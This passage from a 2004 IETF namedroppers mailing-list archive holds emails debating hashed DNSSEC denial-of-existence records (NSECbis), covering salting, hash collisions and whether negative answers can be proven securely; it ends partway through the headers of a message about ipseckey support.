text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 17:56:18 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <6466.1095250302@munnari.OZ.AU> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > Date: Tue, 14 Sep 2004 13:48:32 +0100 > From: Ben Laurie <ben@algroup.co.uk> > Message-ID: <4146E8A0.2060402@algroup.co.uk> > > | The salt is not included in the label (at least in my proposal). > > It needs to be included somewhere, right? Otherwise the resolver can't > verify the hash is correct, and thus has no idea if the NSECbis record > is actually one that was supposed to apply to this query. If the salt is > something very huge, that's a lot of extra data to include (somewhere) > in each record (and the salt itself needs to be verified to be correct). > > This is why I have been assuming that the size of the salt (number of > bits) would be limited to a (somewhat) smallish value. In my proposal, the salt is a separate piece of data in the NSEC2 record. I don't know how critical it is that it is small, given that the response includes signatures, which are huge. > | However, I still contend that colliding with another name is irrelevant, > | since the hashed name will only appear in an NSECbis record, and an > | unhashed name will never appear in an NSECbis record. > > That's OK as far as it goes, except that the mere existence of a RR > (of any type) alters the lookup algorithm - particularly as it relates > to wildcards. And ... > > | I agree, NSECbis records need to be treated as special. > > I think that would be a terrible idea, more "special" records are the > very last thing that the DNS needs. I agree that this would be a good thing to avoid. I am less sure that it is avoidable if the problem is to be solved. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Jim Reid <jim@rfc1035.com> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 17:19:46 +0100 Lines: 14 Sender: owner-namedroppers@ops.ietf.org References: <ben@algroup.co.uk> Cc: Mark Andrews <Mark_Andrews@isc.org>, Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 18:30:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-Reply-To: Message from Ben Laurie <ben@algroup.co.uk> of "Wed, 15 Sep 2004 16:37:48 BST." <414861CC.3090203@algroup.co.uk> Precedence: bulk >>>>> "Ben" == Ben Laurie <ben@algroup.co.uk> writes: Ben> I agree, in theory. However, in practice, there's no way to Ben> have a zone with size 2^512, or even 2^160, so this is not a Ben> problem in real life. Once upon a time people said that about MD5. There was supposedly no realistic chance of two different input strings yielding the same hash. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Roy Arends <roy@dnss.ec> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 20:34:42 +0200 (CEST) Lines: 25 Sender: owner-namedroppers@ops.ietf.org References: <17355.1095265186@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: Ben Laurie <ben@algroup.co.uk>, Mark Andrews <Mark_Andrews@isc.org>, Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 20:47:32 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: roy@trinitario.schlyter.se To: Jim Reid <jim@rfc1035.com> In-Reply-To: <17355.1095265186@gromit.rfc1035.com> Precedence: bulk On Wed, 15 Sep 2004, Jim Reid wrote: > >>>>> "Ben" == Ben Laurie <ben@algroup.co.uk> writes: > > Ben> I agree, in theory. However, in practice, there's no way to > Ben> have a zone with size 2^512, or even 2^160, so this is not a > Ben> problem in real life. > > Once upon a time people said that about MD5. There was supposedly no > realistic chance of two different input strings yielding the same hash. And thats it, there's the crux. If a collision would be found we're en-masse shifting to a different hash algorithm, instead of desperately trying to avoid collisions. Roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: Avoiding collisions - desirability & possibility thereof Date: Wed, 15 Sep 2004 21:59:04 +0200 Lines: 45 Sender: owner-namedroppers@ops.ietf.org References: <ben@algroup.co.uk> <17355.1095265186@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 22:11:38 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 38 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:/XEl+rhGzjhHYS5bPpSKGyo4ytU= Precedence: bulk Jim Reid <jim@rfc1035.com> writes: >>>>>> "Ben" == Ben Laurie <ben@algroup.co.uk> writes: > > Ben> I agree, in theory. However, in practice, there's no way to > Ben> have a zone with size 2^512, or even 2^160, so this is not a > Ben> problem in real life. > > Once upon a time people said that about MD5. There was supposedly no > realistic chance of two different input strings yielding the same hash. In what way do you believe that is relevant? If it is possible to find two (useful) inputs that have the same hash, then the signature schemes in DNSSEC are dead. Whether the hash function is collision resistant isn't critical for the NSECbis idea. One necessary property is that the output space is large enough, so that with salting it is possible to find unique output hashes for all owner names in existence. This isn't something you have to trust some hash function designer on, you can show this empirically yourself. Compute hashes H(i) for i=0...2^40 and count the number of distinct hash outputs you get. If that number is close to 2^40, the hash function is good enough to avoid collisions by repeated salting, since DNS zone doesn't contain more than 2^40 owner names. Replace by 2^41 if you think 2^40 is too small... You can base the NSECbis idea on CRC-128 plus salting, and I think it would still work. As you know, it is trivial to find two inputs that have the same CRC-128 output. I think your argument is simply flawed. I believe the hash function property that is needed for the NSECbis idea is a large enough output space and non-reversibility. Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 04:53:11 +0700 Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <41486251.2010400@algroup.co.uk> <200409151148.i8FBm9QR075629@drugs.dv.isc.org> <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> <C09F24F165286F1E0D6E6C41@[192.168.0.16]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Alex Bligh <alex@alex.org.uk>, Roy Arends <roy@dnss.ec>, Mark Andrews <Mark_Andrews@isc.org>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 00:05:47 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-Reply-To: <41486251.2010400@algroup.co.uk> Precedence: bulk Date: Wed, 15 Sep 2004 16:40:01 +0100 From: Ben Laurie <ben@algroup.co.uk> Message-ID: <41486251.2010400@algroup.co.uk> | The collision would be between the name requested and one of the | existing names in the zone. And the reason you'd be famous is you'd have | broken second preimage resistance for SHA-1. No, that's not true. Or at least, it would be, but only if you're deliberately setting out to find a name that hashes to a particular value - that's what's hard. Merely getting an accidental collision with some unexpected name isn't enough to make anyone famous. Yet, the algorithms absolutely have to work when such things happen (and they will happen - if rarely) - and not only the algorithms, but the implementations as well. Getting these "you'll never see it in your or anyone else's lifetime" things wrong is the cause of the most frustrating things to diagnose in any system, as the errors happen so rarely - but they do happen. kre ps: all this noiose to attempt to achieve a totally worthless objective! -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 08:09:03 +1000 Lines: 71 Sender: owner-namedroppers@ops.ietf.org References: <a06020406bd6dfc0c39ee@[192.136.136.102]> Cc: Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 00:18:09 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-reply-to: Your message of "Wed, 15 Sep 2004 10:15:31 -0400." <a06020406bd6dfc0c39ee@[192.136.136.102]> Precedence: bulk > At 23:53 +1000 9/15/04, Mark Andrews wrote: > > The problem is that by using hashes there you are creating > > sets of QNAMES for which you cannot return NXDOMAIN securely. > > One set for each hash in use. > > ? I'm probably not on the same wavelength about hashes. I think the > hash space needn't be considered part of the DNS data tree, just a > transformation of existing names into an obscured representation. > I.e., in a response message with a name error in the return code, the > verifier ought to realize that the negative answer proof records are > using transformed names, not plain text names. And the transformed QNAMEs WILL collide on occasions with the transformed names of the existing names in the zone. > > If you have collisions with hashes of names with data you cannot > > hand out NODATA responses securely. Yes, Roy you can exhaust > > salt space. > > Let's say the labels in a zone are {chamberlin erving julius wilt} > and the corresponding hash values are { 6 9 13 } with a collision. > > Let's say I ask for ( robertson, IN, TXT ) and the hash of robertson is 9. > > Hmmm, I picked out 9 by randomly hitting a key and seeing that I > managed to pick a collision between the qname and one or more members > of the zone. Will this still work out? > > So, I get back a "name error" with "9 NSEC7 13" in the authority > section. After verifying the record (via the RRSIG), what next? I > suppose it's then possible to a victim of an insertion attack - an > interloper passes back this collision with there being a genuine > robertson in the zone. The problem is that you can't return 9 NSEC7 13 + NXDOMAIN. The NSEC7 says that robertson exists. The RCODE says that it doesn't. IT DOES NOT WORK. To make HASHES works you need to make the HASH longer than the namespace and also guarantee that the hashes are unique for all possible inputs. One could then take the hash use the first n octets as the name and store the remainder in the record to deal with collisions. This will however make NSEC7s large. Instead of hashing into 16 octets you need to hash into 512 octets. Something larger than the input space (63 or 255 octets) . > What if there the qname's hash was 10? In that case, I don't see a > problem in the collision amongst zone members. > > But - it's the collision between qname and zone content - which isn't > possible to know at signing or serving time - that might be a problem. > -- > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Edward Lewis +1-703-227-9854 > ARIN Research Engineer > > "I can't go to Miami. I'm expecting calls from telemarketers." - > Grandpa Simpson. -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Jakob Schlyter <jakob@rfc.se> Subject: Re: Overview of DNSSEC Pilots and Projects Date: Thu, 16 Sep 2004 00:28:15 +0200 (CEST) Lines: 16 Sender: owner-namedroppers@ops.ietf.org References: <20040913195601.GY62784@universe.dnssec.net> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 00:36:13 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Jacco Tunnissen <jacco@dnssec.net> In-Reply-To: <20040913195601.GY62784@universe.dnssec.net> Precedence: bulk On Mon, 13 Sep 2004, Jacco Tunnissen wrote: > LADON - Distributed authentication for SSH using DNSSEC I believe this one is dead. on the other hand something similar (draft-ietf-secsh-dns-05.txt) is in the RFC editors queue (ref state) and code is integrated in openssh. jakob -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Roy Badami <roy@gnomon.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 23:32:13 +0100 Lines: 29 Sender: owner-namedroppers@ops.ietf.org References: <41486251.2010400@algroup.co.uk> <200409151148.i8FBm9QR075629@drugs.dv.isc.org> <Pine.BSO.4.56.0409151444160.32211@trinitario.schlyter.se> <C09F24F165286F1E0D6E6C41@[192.168.0.16]> <15430.1095285191@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, Roy Arends <roy@dnss.ec>, Mark Andrews <Mark_Andrews@isc.org>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 00:44:32 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <15430.1095285191@munnari.OZ.AU> X-Mailer: VM 7.18 under Emacs 21.3.1 X-Delivery-Agent: TMDA/1.0.2 (Bold Forbes) X-Primary-Address: roy@gnomon.org.uk Received-SPF: pass (spike.gnomon.org.uk: 81.100.86.162 is authenticated by a trusted mechanism) X-Virus-Scanned: clamd / ClamAV version 0.73, clamav-milter version 0.73a on spike.gnomon.org.uk X-Virus-Status: Clean Precedence: bulk >>>>> "Robert" == Robert Elz <kre@munnari.OZ.AU> writes: Robert> Or at least, it would be, but only if you're deliberately Robert> setting out to find a name that hashes to a particular Robert> value - that's what's hard. That's one of the things that's hard. In crypto circles it's called preimage resistance, and it's true that it's the weakest of the three properties that a cryptographic hash function is expected to satisfy (ie breaking it is the hardest). The strongest of the three properties is collision resistance, and it means that it's computationally infeasable to find two names that hash to the same value. It's bad cryptographic design to rely on stronger properties of an underlying algorithm than you need to; but if the collision resistance of SHA-1 was broken, that would be headline news... -roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Jim Reid <jim@rfc1035.com> Subject: Re: Avoiding collisions - desirability & possibility thereof Date: Wed, 15 Sep 2004 23:56:58 +0100 Lines: 61 Sender: owner-namedroppers@ops.ietf.org References: <jas@extundo.com> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 01:09:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Simon Josefsson <jas@extundo.com> In-Reply-To: Message from Simon Josefsson <jas@extundo.com> of "Wed, 15 Sep 2004 21:59:04 +0200." <ilupt4nnw1j.fsf@latte.josefsson.org> Precedence: bulk >>>>> "Simon" == Simon Josefsson <jas@extundo.com> writes: Ben> I agree, in theory. However, in practice, there's no way to Ben> have a zone with size 2^512, or even 2^160, so this is not a Ben> problem in real life. >> Once upon a time people said that about MD5. There was >> supposedly no realistic chance of two different input strings >> yielding the same hash. Simon> In what way do you believe that is relevant? Because some people here seem to be saying that the chance of a hash collision is so remote, it's not worth considering. That's been said about previous crypto hash algorithms and later been shown to be a false premise. If things like ENUM and RFID tags take off, the DNS name space could increase by one or two orders of magnitude, maybe more: ~4bn E.164 phone numbers and how many billion Coke cans, each name with how many RRtypes? Once we're in the realm of billions of names the probability a hash collision is much more likely. Too bad if they're in the same (enormous) zone. Simon> If it is possible to find two (useful) inputs that have the Simon> same hash, then the signature schemes in DNSSEC are dead. Not so. In DNSSECbis, the RRSIG is what matters. That depends on the secrecy of the private key that signed some hash value. How that hash is computed doesn't really matter. Though it makes sense to use something strong like SHA to get a hash string that's long and random enough to protect against cryptanalytic attacks on the key. [For some definition of "strong", "long" and "random".] Besides, the original input to the hash function is known so that a validator can recompute the hash value and compare that to what was found in the signature. Simon> Whether the hash function is collision resistant isn't Simon> critical for the NSECbis idea. One necessary property is Simon> that the output space is large enough, so that with salting Simon> it is possible to find unique output hashes for all owner Simon> names in existence. This looks like hand-waving to me. Sorry. And won't "all owner names in existence" include the RRs containing the generated hash strings? Suppose I have a client that does an ANY query for foo.bar. This name didn't exist in the unsigned zone. But foo is the label resulting from hashing the bar zone's SOA record. What response does my client get back? How is that signed? Just put the hash string in the RDATA for some RRtype and the whole issue about collisions goes away. So does the prospect of having to deal with hashes that collide with existing CNAME, DNAME and delegation points as yet more corner cases that need special treatment. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 00:30:40 +0100 Lines: 55 Sender: owner-namedroppers@ops.ietf.org References: <E1C7akU-0005hm-Ul@draco.cus.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 01:38:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Chris Thompson <cet1@cus.cam.ac.uk> In-Reply-To: <E1C7akU-0005hm-Ul@draco.cus.cam.ac.uk> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Chris Thompson wrote: > Mark Andrews writes: > > [...snip...] > >> The problem is that by using hashes there you are creating >> sets of QNAMES for which you cannot return NXDOMAIN securely. >> One set for each hash in use. > > > Maybe a different mechanism for securely returning NXDOMAIN is needed > in these cases? If a name being looked up hashes to something different > from every extant name, return the signed NSEC' record to prove it by > showing an interval of hash values free of extant ones. But if the hash > matches that of one or more extant names, but the name isn't any of them, > then return a signed NSEC'' record that lists all the extant names that > hash to that value (proving that the caller's wasn't one of them). That > gives away one or more names in the zone, of course, but the caller had > to be pretty damn lucky to get a hash match in the first place. > > This idea is somewhat half-baked, in that representing a list of names > of potentially unlimited length in a signed answer could pose problems. > (Although now you really could play "change the salt, Walt" to finesse > that.) The way to fix this is to show an NSEC record when NSEC' fails because of a hash collision. Since a good fraction of the world thinks that NSEC' is pointless, there's no chance that NSEC is going away, making this solution cheap, as well as (of course) 100% effective. People actually bothering to sign NSECs in case this happens before the Sun burns out will spend twice as much on hardware, but the edge case has been handled totally. Excellent suggestion. Superb. Thankyou. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 00:35:56 +0100 Lines: 34 Sender: owner-namedroppers@ops.ietf.org References: <17355.1095265186@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Mark Andrews <Mark_Andrews@isc.org>, Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 01:43:10 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Jim Reid <jim@rfc1035.com> In-Reply-To: <17355.1095265186@gromit.rfc1035.com> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Jim Reid wrote: >>>>>>"Ben" == Ben Laurie <ben@algroup.co.uk> writes: > > > Ben> I agree, in theory. However, in practice, there's no way to > Ben> have a zone with size 2^512, or even 2^160, so this is not a > Ben> problem in real life. > > Once upon a time people said that about MD5. There was supposedly no > realistic chance of two different input strings yielding the same hash. People said it was practical to have a zone of size 2^128? The unrelated fact that there exist broken hashes is by no means a disproof of the general concept that there are an awful lot of possible outputs from cryptographic hash functions. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Thu, 16 Sep 2004 09:57:38 +1000 Lines: 60 Sender: owner-namedroppers@ops.ietf.org References: <4148D1DC.8020401@algroup.co.uk> Cc: Jim Reid <jim@rfc1035.com>, Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 02:04:34 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-reply-to: Your message of "Thu, 16 Sep 2004 00:35:56 +0100." <4148D1DC.8020401@algroup.co.uk> Precedence: bulk > Jim Reid wrote: > >>>>>>"Ben" == Ben Laurie <ben@algroup.co.uk> writes: > > > > > > Ben> I agree, in theory. However, in practice, there's no way to > > Ben> have a zone with size 2^512, or even 2^160, so this is not a > > Ben> problem in real life. > > > > Once upon a time people said that about MD5. There was supposedly no > > realistic chance of two different input strings yielding the same hash. > > People said it was practical to have a zone of size 2^128? > > The unrelated fact that there exist broken hashes is by no means a > disproof of the general concept that there are an awful lot of possible > outputs from cryptographic hash functions. The zone size is irrelevent. If the number of QNAMES > number of hash function outputs (true of all the proposals todate). You will have collisions. They CANNOT be prevented. The only way to prevent this is to change the hash function so that the number of QNAMES <= number of hash outputs *and* that for all QNAMES the output is unique. You then have the problem of how to store the resultant hash. For NSEC the hash function returns its input. It also meets all the required properties above. Now we know the QNAME space. You need to pick a hash function that has the properties above. So far I have yet to see anyone propose one. Mark > Cheers, > > Ben. > > -- > ApacheCon! 13-17 November! http://www.apachecon.com/ > > http://www.apache-ssl.org/ben.html http://www.thebunker.net/ > > "There is no limit to what a man can do or how far he can go if he > doesn't mind who gets the credit." - Robert Woodruff -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof Date: Thu, 16 Sep 2004 10:01:22 +0100 Lines: 21 Sender: owner-namedroppers@ops.ietf.org References: <18002.1095289018@gromit.rfc1035.com> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 11:17:57 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Jim Reid <jim@rfc1035.com>, Simon Josefsson <jas@extundo.com> In-Reply-To: <18002.1095289018@gromit.rfc1035.com> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 15 September 2004 23:56 +0100 Jim Reid <jim@rfc1035.com> wrote: > Because some people here seem to be saying that the chance of a hash > collision is so remote, it's not worth considering. No, people (well me) are not saying that. People are saying that the chance of hash collision is very remote, but you DO have to worry about it (if it's necessary to avoid collisions at all - which I am not sure of, but there are people who know more than me on that one), but the statistics tell you that iteratively changing the salt is a sufficient solution to the problem. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: Avoiding collisions - desirability & possibility thereof Date: Thu, 16 Sep 2004 13:35:32 +0200 Lines: 91 Sender: owner-namedroppers@ops.ietf.org References: <jas@extundo.com> <18002.1095289018@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 13:44:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 84 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:L21BYrzyMLcAouW1vXv+AOomhjI= Precedence: bulk Jim Reid <jim@rfc1035.com> writes: >>>>>> "Simon" == Simon Josefsson <jas@extundo.com> writes: > > Ben> I agree, in theory. However, in practice, there's no way to > Ben> have a zone with size 2^512, or even 2^160, so this is not a > Ben> problem in real life. > >> Once upon a time people said that about MD5. There was > >> supposedly no realistic chance of two different input strings > >> yielding the same hash. > > Simon> In what way do you believe that is relevant? > > Because some people here seem to be saying that the chance of a hash > collision is so remote, it's not worth considering. That's been said > about previous crypto hash algorithms and later been shown to be a > false premise. I don't know about "people", but I'm not saying that. I'm saying that the problem of hash collisions isn't relevant to the NSECbis idea, especially if salting is part of the solution. Whether or not some hash function is collision resistant can be a fun discussion, but if you want to show that it is relevant to the NSECbis discussion I think you'll have to show in what way it is relevant. So here's the exercise: Show that NSECbis based on CRC-128 is worse than NSECbis based on SHA-1. CRC-128 is trivially breakable, SHA-1 is currently presumed not to be. > If things like ENUM and RFID tags take off, the DNS name space could > increase by one or two orders of magnitude, maybe more: ~4bn E.164 > phone numbers and how many billion Coke cans, each name with how many > RRtypes? Once we're in the realm of billions of names the probability > a hash collision is much more likely. Too bad if they're in the same > (enormous) zone. Could you do the math to show us how likely? That would be useful input. > Simon> Whether the hash function is collision resistant isn't > Simon> critical for the NSECbis idea. One necessary property is > Simon> that the output space is large enough, so that with salting > Simon> it is possible to find unique output hashes for all owner > Simon> names in existence. > > This looks like hand-waving to me. Sorry. Did you read my next paragraph? What part of it didn't convince you of the above? This isn't something you have to trust some hash function designer on, you can show this empirically yourself. Compute hashes H(i) for i=0...2^40 and count the number of distinct hash outputs you get. If that number is close to 2^40, the hash function is good enough to avoid collisions by repeated salting, since DNS zone doesn't contain more than 2^40 owner names. Replace by 2^41 if you think 2^40 is too small... > And won't "all owner names in existence" include the RRs containing > the generated hash strings? Suppose I have a client that does an ANY > query for foo.bar. This name didn't exist in the unsigned zone. But > foo is the label resulting from hashing the bar zone's SOA > record. What response does my client get back? How is that signed? You get back the NSECbis RR for the SOA, since it is stored at foo.bar: foo.bar IN NSECbis baz SOA foo.bar IN RRSIG ... You can prove that there are no other types at foo.bar than NSECbis and RRSIG by including the NSECbis with the owner name H(foo.bar). > Just put the hash string in the RDATA for some RRtype and the whole > issue about collisions goes away. So does the prospect of having to > deal with hashes that collide with existing CNAME, DNAME and > delegation points as yet more corner cases that need special > treatment. That sounds good, but I don't follow. What would the owner name be, and what would the hash string be computed on? How would it be used? Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: David Fort <david.fort@irisa.fr> Subject: ipseckey support Date: Thu, 16 Sep 2004 15:49:22 +0200 Lines: 22 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-From: owner-namedroppers@ops.ietf.org Thu Sep 16 16:04:19 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040803 X-Accept-Language: fr-fr, fr, en-us, en Newsgroups: comp.protocols.dns.std To: 